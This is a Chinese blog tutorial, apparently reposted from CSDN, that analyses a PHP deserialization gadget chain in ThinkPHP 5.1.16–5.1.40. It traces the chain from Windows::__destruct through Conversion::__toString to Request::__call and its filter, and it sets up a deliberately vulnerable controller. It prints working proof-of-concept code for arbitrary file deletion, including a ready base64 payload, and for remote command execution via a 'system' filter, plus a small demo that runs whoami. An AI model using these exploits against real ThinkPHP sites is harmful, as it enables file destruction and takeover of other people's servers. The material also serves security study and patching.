文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

thinkphp 反序列化漏洞

2023-09-04 12:42

关注

文章目录

php.ini

[Xdebug]zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dllxdebug.mode=debugxdebug.start_with_request=yesxdebug.client_host=127.0.0.1xdebug.client_port=9000xdebug.idekey = PHPSTORM

配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展

配置防调试超时

1.打开apache配置文件注释掉如下,并添加一行。# Various default settingsInclude conf/extra/httpd-default.conf 将注释去掉Include conf/extra/httpd-fcgid.conf 添加此行2. 更改httpd-default.conf如下内容# Timeout: The number of seconds before receives and sends time out.#Timeout 3600## KeepAlive: Whether or not to allow persistent connections (more than# one request per connection). Set to "Off" to deactivate.#KeepAlive On## MaxKeepAliveRequests: The maximum number of requests to allow# during a persistent connection. Set to 0 to allow an unlimited amount.# We recommend you leave this number high, for maximum performance.#MaxKeepAliveRequests 0## KeepAliveTimeout: Number of seconds to wait for the next request from the# same client on the same connection.#KeepAliveTimeout 36003.更改php.ini如下内容max_execution_time = 3600; Maximum amount of time each script may spend parsing request data. It's a good; idea to limit this time on productions servers in order to eliminate unexpectedly; long running scripts.4.在extra目录下创建httpd-fcgid.conf,写入如下内容。ProcessLifeTime 3600FcgidIOTimeout 3600FcgidConnectTimeout 3600FcgidOutputBufferSize 128FcgidMaxRequestsPerProcess 1000FcgidMinProcessesPerClass 0 FcgidMaxProcesses 16 FcgidMaxRequestLen 268435456   FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000IPCConnectTimeout 3600IPCCommTimeout 3600FcgidIdleTimeout 3600FcgidBusyTimeout 60000FcgidBusyScanInterval 120FcgidInitialEnv PHPRC "D:\phpstudy_pro\Extensions\php\php7.3.4nts"AddHandler fcgid-script .php

测试版本5.1.37

适用版本5.1.16-5.1.40

利用链

think\process\pipes\Windows ⇒__destruct⇒removeFiles⇒file_exists⇒__toStringthink\model\concern\Conversion⇒__toString⇒toJson⇒toArraythinkphp\library\think\Request⇒__call⇒isAjax⇒parma⇒input⇒filterValue

详细分析

修改控制器

     namespace app\index\controller; class Index {     public function index() {     unserialize(base64_decode($_GET['id'])); return "Welcome!";     } }

查找入口__destruct,进入windows类

在这里插入图片描述

    public function __destruct()    {        $this->close();        $this->removeFiles();    }

查看removeFiles方法

    private function removeFiles()    {        foreach ($this->files as $filename) {            if (file_exists($filename)) {                @unlink($filename);            }        }        $this->files = [];    }

poc1(任意文件删除)

namespace think\process\pipes;class Pipes{}class Windows extends Pipes{    private $files = ['D:\phpstudy_pro\WWW\v5.1.37\a.txt'];    //这里一定要绝对路径}$a=new Windows();echo base64_encode(serialize($a));

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjMzOiJEOlxwaHBzdHVkeV9wcm9cV1dXXHY1LjEuMzdcYS50eHQiO319

在这里插入图片描述

查找__toString

removeFiles方法里面使用了file_exists($filename), $filename变量可控,传入一个对象则会调用对象的__toString方法将对象转换成字符串再判断, 查找可利用的toString,找到think\model\concern\Conversion类

    public function __toString()    {        return $this->toJson();    }
    public function toJson($options = JSON_UNESCAPED_UNICODE)    {        return json_encode($this->toArray(), $options);    }
public function toArray()    {        $item       = [];        $hasVisible = false;...if (!empty($this->append)) {            foreach ($this->append as $key => $name) {                if (is_array($name)) {                    // 追加关联对象属性                    $relation = $this->getRelation($key);                    if (!$relation) {                        $relation = $this->getAttr($key);                        if ($relation) {$relation->visible($name);                        }                    }...                }

if里的relation不为空,进入第二个if后先跟进getAttr,又调用了getData(),getData(),这里 $this->data可控

public function getAttr($name, &$item = null)    {        try {            $notFound = false;            $value    = $this->getData($name);        } catch (InvalidArgumentException $e) {            $notFound = true;            $value    = null;        }...    return $value;
public function getData($name = null)    {        if (is_null($name)) {            return $this->data;        } elseif (array_key_exists($name, $this->data)) {            return $this->data[$name];

自此,relation->visible($name) 变成了:可控类->visible(可控变量)

接下来的思路就是找 可利用的visible()方法 或者 可利用的 __call()

这里有一个细节,使用__call代替visible时,visible会作为KaTeX parse error: Expected group after '_' at position 9: method传入_̲_call方法,name则传入args

一般PHP中的__call方法都是用来进行容错或者是动态调用,所以一般会在__call方法中使用__call_user_func($method, $args)__call_user_func_array([$obj,$method], $args)但是 public function __call($method, $args) 我们只能控制 $args,所以很多类都不可以用经过查找发现 think-5.1.37/thinkphp/library/think/Request.php 中的 __call使用array取值

thinkphp\library\think\Request

    public function __call($method, $args)    {        if (array_key_exists($method, $this->hook)) {            array_unshift($args, $this);            return call_user_func_array($this->hook[$method], $args);        }        //call_user_func_array([$obj,"任意方法"],[$this,任意参数])//也就是//$obj->$func($this,$argv)

这里的method是前面传递过来的visible,​this->hook可控,因此只需要设置this->hook=[“visible”=>”任意方法”]就能使这里的call_user_func_array(this->hook[method], args); 相当于call_user_func_array(‘任意方法’, args);

这里有个 array_unshift(args, ​this); 会把this放到​arg数组的第一个元素

开始寻找不受this对象影响的方法

这种情况是很难执行命令的,但是Thinkphp作为一个web框架, Request类中有一个特殊的功能就是过滤器 filter(ThinkPHP的多个远程代码执行都是出自此处) 所以可以尝试覆盖filter的方法去执行代码 寻找使用了过滤器的所有方法 发现input()函数满足条件,但是在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

public function input($data = [], $name = '', $default = null, $filter = '')    {        ...        $name = (string) $name;        if ('' != $name) {            // 解析name            if (strpos($name, '/')) {                list($name, $type) = explode('/', $name);            }//从数组$data中获取键为$name的value作为$data的新值,这个value必须是数组            $data = $this->getData($data, $name);            ...            if (is_object($data)) {//$data不能是对象                return $data;            }        }        // 解析过滤器//getFilter方法里如果 $filter = false 则 $filter = $this->filter;因此$filter可控        $filter = $this->getFilter($filter, $default);        if (is_array($data)) {            array_walk_recursive($data, [$this, 'filterValue'], $filter);...        } else {            $this->filterValue($data, $name, $filter);        }...        return $data;    }

继续查找调用input方法的的函数

param方法第一个参数可控,从这里入手

public function param($name = '', $default = null, $filter = ''){    if (!$this->mergeParam) {        ...    }    if (true === $name) {        ...    }    return $this->input($this->param, $name, $default, $filter);}

function param($name = '', $default = null, $filter = '') 的回溯中发现 isAjax()isPjax()$this->config['var_ajax'] 是可控的,那么 input() 的第一个参数也是可控的,由于只给 input() 传了一个参数,其 $name 默认为空,调用链完成

  public function isAjax($ajax = false)    {        $value  = $this->server('HTTP_X_REQUESTED_WITH');        $result = 'xmlhttprequest' == strtolower($value) ? true : false;        if (true === $ajax) {            return $result;        }        $result           = $this->param($this->config['var_ajax']) ? true : $result;        $this->mergeParam = false;        return $result;    }

poc2(任意命令执行)

namespace think;abstract class Model{    protected $append = [];    private $data = [];    function __construct(){        $this->append = ["poc"=>[" "," "]];        $this->data = ["poc"=>new Request()];    }}class Request{    protected $hook = [];    protected $filter = "system";    protected $mergeParam=true;    protected $param = [];    protected $config = [        // 表单请求类型伪装变量        'var_method'       => '_method',        // 表单ajax伪装变量        'var_ajax'         => '_ajax',        // 表单pjax伪装变量        'var_pjax'         => '_pjax',        // PATHINFO变量名 用于兼容模式        'var_pathinfo'     => 's',        // 兼容PATH_INFO获取        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],        // 默认全局过滤方法 用逗号分隔多个        'default_filter'   => '',        // 域名根,如thinkphp.cn        'url_domain_root'  => '',        // HTTPS代理标识        'https_agent_name' => '',        // IP代理获取标识        'http_agent_ip'    => 'HTTP_X_REAL_IP',        // URL伪静态后缀        'url_html_suffix'  => 'html',    ];    function __construct(){        $this->filter = "system";//回调时调用的PHP函数        $this->config = ["var_ajax"=>''];//在isAjax方法传递给param方法的$name绕过param方法的一些操作,但主要是为了绕过input方法里面对$data的改变        $this->hook = ["visible"=>[$this,"isAjax"]];//在__call里面调用isAjax        $this->mergeParam=true;//绕过param方法里的一些操作        $this->param=["calc",""];//input方法的$data,也是即将执行的命令    }}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{    private $files = [];    public function __construct()    {        $this->files=[new Pivot()];    }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));?>

__call( m e t h o d , method, method,arguments)

class Test{//    function __destruct(){//        echo "coleak1";//    }    function  __call($method,$arguments)    {        echo "__call" .PHP_EOL. $method.PHP_EOL;        print_r($arguments);    }}$a=new Test();$a->acdads('aaaaa');

__call
acdads
Array
(
[0] => aaaaa
)

array_unshift

$a=array("a"=>"red","b"=>"green");array_unshift($a,"blue");print_r($a);?>

Array
(
[0] => blue
[a] => red
[b] => green
)

call_user_func_array

$a=['whoami','ipconfig'];$b='system';call_user_func_array($b,$a);

coleak\admin

来源地址:https://blog.csdn.net/qq_63701832/article/details/131367737

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯